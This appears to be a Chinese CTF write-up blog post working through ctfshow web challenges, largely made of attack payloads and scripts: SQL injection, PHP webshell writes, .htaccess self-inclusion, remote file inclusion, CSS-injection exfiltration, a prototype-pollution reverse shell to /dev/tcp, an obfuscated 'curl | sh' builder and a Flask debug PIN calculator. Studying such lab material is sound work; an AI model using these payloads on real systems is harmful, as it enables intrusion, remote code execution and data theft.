type
Post
status
Published
date
May 1, 2022
slug
ctfshow
summary
记录在ctfshow靶场学习Wp
tags
CTF_Wp
category
学习思考
icon
password
URL
Photo
大赛原题web680web681web682web683web684web685web686Web687Web688Web689Web690Web691Web 692Web 693Web 694Web695Web696Web697Web698Web699 (此题环境有问题无法解出来)Web700考点题解Web701Web703Web704Web707Web710Web712Web 714Web717Web720Web724常用姿势web801flask算pin码web802 PHP无字母数字代码执行
大赛原题
web680
code=phpinfo();
先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。r然后看下当前目录下的文件
code=var_dump(scandir("."));
发现一个文件
secret_you_never_know
web681
sql注入
- 万能密码 username = || 1#
- \ 转译
登录的时候抓个包,比如我们传name=123会返回sql语句
select count(
) from ctfshow_users where username = '123' or nickname = '123'
然后试了下单引号,发现会被吞。
那就试下反斜杠,
select count(
) from ctfshow_users where username = '123\' or nickname = '123\'
这样相当于执行
select count(
) from ctfshow_users where username = 'xxx'123\'
所以先整个万能密码
name=||1#
最终语句为
select count(
) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
相当于
select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
然后就出flag了。web682
web683
绕过sleep()
(int)字符串 = int字符串第一位
(int)”0X700000” = (int)0
web684
写shell:
fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>');
- create_function()代码注入
wp:
?action=\create_function&arg=}fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>');//
web685
- 利用正则最大回溯次数绕过 (100万)
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。
py脚本:
import requests url = "http://991d6005-8ea0-456b-9ee9-e06d2d4bbae5.challenge.ctf.show/" files = { 'file':'''<?php @eval($_POST['shell']);?>'''+'b'*1000000 } r=requests.post(url,files=files) for i in range(0,10): u = url+'data/{}.php'.format(i) r = requests.get(u) if r.status_code==200: print(i)
web686
- 无参数RCE
Web687
%0a (回车) 绕过 | 过滤
%0d(空格)
Web688
escapeshellarg($a);
和escapeshellcmd($a);
函数连用会产生漏洞
curl url -F file=@/flag
可以将flag带出来payload:
url=http://ip:port/' -F file=@/flag ‘
Web689
- 考点:ssrf
无<?php ?>一句话木马
<script language="pHp">@eval($_POST["shell"])</script>
Web690
- 正则匹配
python在服务器80端口打开:python3 http.server 80. 将shell 写在index.html中
index.html: <?php file_put_contents("shell.php",'<?php @eval($_POST["shell"]);?>'); ?>
payload:?args[]=1%0a&arg[]=mkdir&args[]=shell%0a&args[]=cd&args[]=shell%0a&args[]=wget&args[]=143428347
用不可见字符 %0a分割指令,相当于
./ 1 mkdir shell cd shell wget 143428347(ip的十进制)
然后
tar cvf a shell #将shell文件夹打包成 a文件 php a #执行a文件即可激活shell #访问/shell.php即可
Web691
SQL order by 大小比较盲注盲注脚本
import requests import string s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" url = "http://10f0f498-dddd-4684-bf7e-7c2a7a36c3ea.challenge.ctf.show/" flag = 'ctfshow{01a12ad8-f0a0-4176-ba80-56061796f5c5' for i in range(1,50): print(i) for j in s: data = { 'username':"\'or 1 union select 1,2,'{}' order by 3#".format(flag+j), 'password':"1" } #print(data['username']) req = requests.post(url,data=data) #print(req.text) if '</code>admin' in req.text: flag = flag+chr(ord(j)-1) print(flag) #print(data['username']) #print(req.text) break
Web 692
addslashes()函数:
Web 693
$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file);
可以调用某个函数,然后会有个文件包含,但是这个函数的参数是个数组。很容易想到通过extract变量覆盖来改变$file的值。
?function=extract&file=php://filter/convert.base64-encode/resource=function.php
#fuction.php <?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
# admin.php <?php if(empty($_SESSION['name'])){ session_start(); echo 'hello ' + $_SESSION['name']; }else{ die('you must login with admin'); } ?>
尝试下远程文件包含,发现确实可以
?function=extract&file=http://www.baidu.com
直接包含自己vps上的一个一句话木马就可以了
//index.txt <?php @eval($_POST['shell']);?> http://42.193.100.225:4446/index.txt GET: ?function=extract&file=http://101.34.94.44/shell.txt POST: 1=system('cat /f*');
Web 694
# source code <?php error_reporting(0); $action=$_GET['action']; $file = substr($_GET['file'],0,3); $ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR'])); $content = $_POST['content']; $path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file; if($action=='ctfshow'){ file_put_contents($path,$content); }else{ highlight_file(__FILE__); } ?>
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
传参方式:
DIRECTORY_SEPARATOR
这个是文件路径分隔符 win下是\
linux 下是/
这个自动识别系统将
path
构造成 ./shell.php
此时
path
=/var/www/html/shell1.php/.。
成功写入shell1.phpWeb695
题目: router.post('/uploadfile', async (ctx, next) => { const file = ctx.request.body.files.file; if (!fs.existsSync(file.path)) { return ctx.body = "Error"; } if(file.path.toString().search("/dev/fd") != -1){ file.path="/dev/null" } const reader = fs.createReadStream(file.path); let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex"); let filePath = path.join(__dirname, 'upload/') + fileId const upStream = fs.createWriteStream(filePath); reader.pipe(upStream) return ctx.body = "Upload success ~, your fileId is here:" + fileId; }); router.get('/downloadfile/:fileId', async (ctx, next) => { let fileId = ctx.params.fileId; ctx.attachment(fileId); try { await send(ctx, fileId, { root: __dirname + '/upload' }); }catch(e){ return ctx.body = "no_such_file_~" } });
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
Web696
Web697
进入页面提示我们传入参数NOHO
随便试了几下,会提示太大或太小。
虽然看不到代码但是可以猜测一下,可能是使用strcmp一类的函数进行比较,大于返回正整数,小于返回负整数,等于返回0。
尝试数组绕过,成功
出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。
ffifdyop e58 4611686052576742364
既然只能传数字,那我们就选择
4611686052576742364
Web698
Web699 (此题环境有问题无法解出来)
# 基础知识 $# - 参数数量 - (计算为 0) ${##} - 计数变量 (#) 长度 - (计算为 1) $((expr)) - 算术表达式 <<< - 这里是字符串 ${!var} - 间接扩展 $'\123' - 将八进制转换为字符串字面量 {a,b} 中的字符 - 花括号扩展 # 由此得出 $((${##}<<${##})) - 1 左移 1,计算结果为 2 ${!#} - 执行 bash(因为第一个参数是 /bin/bash) $((2 #1000001)) - 将二进制转换为十进制。2, 1 和 0 被禁止,将被替换
八进制绕过命令执行
import requests # 八进制 n = dict() n[0] = '${#}' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$((${##}<<$((${##}<<${##}))))' n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))' f = '' def str_to_oct(cmd): #命令转换成八进制字符串 s = "" for t in cmd: o = ('%s' % (oct(ord(t))))[2:] s+='\\'+o return s def build(cmd): #八进制字符串转换成字符 payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效 s = str_to_oct(cmd).split('\\') for _ in s[1:]: payload+="\\\\" for i in _: payload+=n[int(i)] return payload+'\\\'' # def get_flag(url,payload): #盲注函数 # try: # data = {'cmd':payload} # r = requests.post(url,data,timeout=1.5) # except: # return True # return False # 弹shell print(build('curl https://your-shell.com/8.140.138.251:4445 | sh')) #盲注 #a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' # for i in range(1,50): # for j in a: # cmd=f'cat /flag|grep ^{f+j}&&sleep 3' # url = "http://ip/" # if get_flag(url,build(cmd)): # break # f = f+j # print(f)
nc -lvvnp 4445 payload : $0<<<$0\<\<\<\$\'\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<$((${##}<<${##}))))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\'
Web700
考点
- CSS注入
利用场景:能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。
题解
通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:
input[name=csrf][value^=ca]{ background-image: url(https://xxx.com/ca); }
过程中有几个问题:一般CSRF Token的type都为hidden,会有不加载
background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)解决该问题的办法是使用
~
兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image
,达到将数据带出的目的。赛题源码:
<html> <link rel="stylesheet" href="${encodeURI(req.query.css)}" /> <form> <input name="Email" type="text" value="test"> <input name="flag" type="hidden" value="b02cb962ac59075b964b07152d234b70"/> <input type="submit" value="提交"> </form> </html>
poc: 通过注入CSS,动态猜解每一个flag字符,同时在服务端监听:
input[name=flag][value^="b"] ~ * { background-image: url("http://x.x.x.x/b"); }
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点
x-frame-options
未被禁用,当然本题并未限制此方法那iframe被禁用了,还有办法注入吗?参考这篇文章所述:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
提供了一个工具,使得可以通过import CSS来获得token:https://github.com/d0nutptr/sic
安装好环境, 起一个窃取CSS模板文件:template
input
[
name
=
flag
][
value
^=
"{{:token:}}"
]
~
*
{
background-image
:
url
(
"{{:callback:}}"
);
}
运行服务:
./sic -p
3000
--ph "http://127.0.0.1:3000" --ch "http://127.0.0.1:3001" -t template
attack:
http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32
自动化测试脚本
# encoding = utf-8 import string from selenium import webdriver import time driver = webdriver.Chrome() url = 'http://0a3c0db1-e8aa-431a-9b9d-fe34f210f826.challenge.ctf.show' flag = '' s = string.digits+string.ascii_letters+'{'+'}'+'_' for i in s: flag += i string = 'input[name="flag"][value^="%s"] { background:url(http://8.140.138.251:4445/%s);}'%(flag, flag) data = {"css": string} driver.get(url) css = driver.find_element_by_name('css') css.send_keys(string) driver.find_element_by_xpath("//input[@type='submit']").click() flag= ''
Web701
参考文章
https://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295
It is run on context, so we have nothing but to play with
constructor
and console
.1337 === eval(out_input)
我们需要构造出如下payload
1337 === int(str(int(1)).concat(3).concat(3).concat(7))
构造前提:
constructor.length.constructor = Integer object constructor.name.constructor = String object constructor.constructor.length = 1 console.dir.name.length => "dir".length = 3 console.context.name.length => "context".length = 7
payload:
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))
Web703
题目源码:
伪造一个admin用户,然后访问?page=flag得到flag。
重点页面在export.php中
if ($type === 'tar') { $archive = new PharData($path); $archive->startBuffering(); } else { // use zip as default $archive = new ZipArchive(); $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); } for ($index = 0; $index < count($notes); $index++) { $note = $notes[$index]; $title = $note['title']; $title = preg_replace('/[^!-~]/', '-', $title); $title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters $archive->addFromString("{$index}_{$title}.json", json_encode($note)); }
我们可以创建一个文件,并向里面添加一些字符。更加巧的是,session文件的保存路径和我们生成的文件的路径是一样的,那么我们可以构造一个session文件,从而修改里面admin的值
<?php error_reporting(0); require_once('config.php'); require_once('lib.php'); session_save_path(TEMP_DIR); session_start();
但是有个问题,session文件一般是sess_PHPSESSID,里面不允许有点号,而文件名生成的时候会带着点号。
type 可控,所以只需要给type传个
.
就可以了解题思路:
sess_
用户名登录
- Add note
|N;admin|b:1;
要写内容,不然无法发出去
- 访问
export.php?type=.
来生成session文件
- 修改cookie为文件名123213_后面的字符串这里是
-58f256cbb90a5bef
- Get flag
Web704
json串中可以使用unicode编码绕过
payload:
?source=1 {"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}
Web707
base64解密下cookie,然后修改cookie中的money,改成100。
直接buy就出flag了。。。
Web710
hackbar 一把梭
Web712
题目
## 题目: <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) !== 0) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
这题主要考察.htaccess文件的利用
大体步骤是这样的:
删除index.php外的所有文件→写文件→删除 除index.php外的所有文件
虽然对内容进行了过滤,但是我们是可以通过换行绕过的
比如下面的内容起到的作用是相同的
php_value auto_append_file "/etc/passwd" ### php_value auto_append_fil\ e "/etc/passwd"
但是我们没有什么可包含的shell文件,能利用的一个index.php一个自己上传的.htaccess文件。而index.php其实也没啥用
所以目光只能用
.htaccess
文件了。
可以将利用的shellcode写入.htaccess
文件中,为了不影响该文件的功能,需要用#号注释掉。然后包含自身php_value auto_append_fil\ e ".htaccess" #<?php eval($_POST[1]);?>
但是最后还会给我们再填上一串
\nJust one chance
,所以再来个\
就可以了。php_value auto_prepend_fil\ e ".htaccess" #<?php eval($_POST[1]);?>\
url编码一下
payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20%22.htaccess%22%0A%23%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%5C
接着访问/index.php就可以使用一句话木马了。
注意,这个是一次性的,所以不要先get再post,需要直接post传值。当然还有一些方法可以参考文章
Web 714
原理分析:
官方wp:
原型链污染
漏洞点是下面这个地方,需要add超过五条
payload:
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.140.138.251/4445 0>&1\"');var __tmp2" } } }
Web717
js 不是很懂找的大佬的payload
payload:
/
"+/
'*/i/+target.exploit//
Web720
<?php error_reporting(0); include "flag.php"; if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ highlight_file(__FILE__); }
非常简单的数组绕过哈希
payload:
?name[]=2&password[]=1
Web724
源码 <!-- CTFSHOW hint: eval('$code="'.addslashes($value).'";'); -->
payload:
${system(base64_decode(Y2F0IGYq))}
常用姿势
web801
flask算pin码
flask
/console
进入调试模式PIN生成要素:
脚本:
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'root'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '2485377567932',# /sys/class/net/eth0/address 16进制转10进制 #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 'b0253079-fb4b-4235-ad30-f3d64b6c5967bb28418c4326f48eec42c9d5e07f276bfc46aafe20c7b9043057131f6a87d2dd'# /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
web802
PHP无字母数字代码执行
payload: